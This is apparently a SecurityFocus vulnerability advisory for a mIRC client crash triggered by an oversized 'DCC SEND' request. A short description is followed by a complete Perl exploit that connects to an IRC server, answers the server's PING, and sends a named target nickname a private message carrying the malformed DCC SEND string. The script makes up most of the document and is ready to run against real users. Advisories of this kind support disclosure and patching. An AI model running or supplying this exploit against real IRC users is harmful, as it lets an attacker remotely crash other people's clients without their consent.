source: https://www.securityfocus.com/bid/8818/info
A vulnerability has been reported to exist in the mIRC client that may allow a remote attacker to crash a vulnerable mIRC client. The condition is most likely present due to insufficient boundary checking performed on 'DCC SEND' requests.
It has been reported that when received, a malicious 'DDC SEND' request can trigger a fatal error and cause an affected mIRC client to crash.
#!/usr/bin/perl -w
use IO::Socket;
# get irc server to connect to, and nick to exploit.
print "Enter Serv: "; chomp($serv=<STDIN>);
print "Enter Nick: "; chomp($nick=<STDIN>);
#setup connection
$ocket = IO::Socket::INET->new(
PeerAddr=>"$serv",
PeerPort=>'6667'
) || die "could not connect to $serv: $!";
#$| = 1;
#$ocket->autoflush();
$line="";
until($line =~ /Ident/){
$oldline=$line;
$line = <$ocket>;
if($oldline ne $line) {print $line;}
}
print $ocket "user ident irc name ircname\n"; #send ident/ircname info
$line="";
until($line =~/PING/){
$oldline=$line;
$line = <$ocket>;
if ($oldline ne $line) {print $line;}
}
$line =~ s/.*://;
print $ocket "PONG :$line\n";
print $ocket "nick thssmnck\n";
print $ocket "privmsg $nick :DCC SEND \"a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a \" 1079095848 666\n";